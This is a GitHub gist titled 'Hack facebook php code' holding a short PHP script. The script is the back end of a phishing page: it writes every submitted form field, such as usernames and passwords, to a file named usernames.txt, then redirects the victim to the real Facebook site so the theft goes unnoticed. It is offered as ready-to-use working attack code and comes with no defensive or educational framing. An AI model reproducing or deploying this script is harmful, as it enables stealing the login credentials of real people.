Skip to content

Instantly share code, notes, and snippets.

@Techgokul
Created January 3, 2018 09:32
Show Gist options
  • Save Techgokul/870aebc9d839d29b705af48b241d3276 to your computer and use it in GitHub Desktop.
Save Techgokul/870aebc9d839d29b705af48b241d3276 to your computer and use it in GitHub Desktop.
Hack facebook php code
<?php
header ('Location:http://www.facebook.com/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment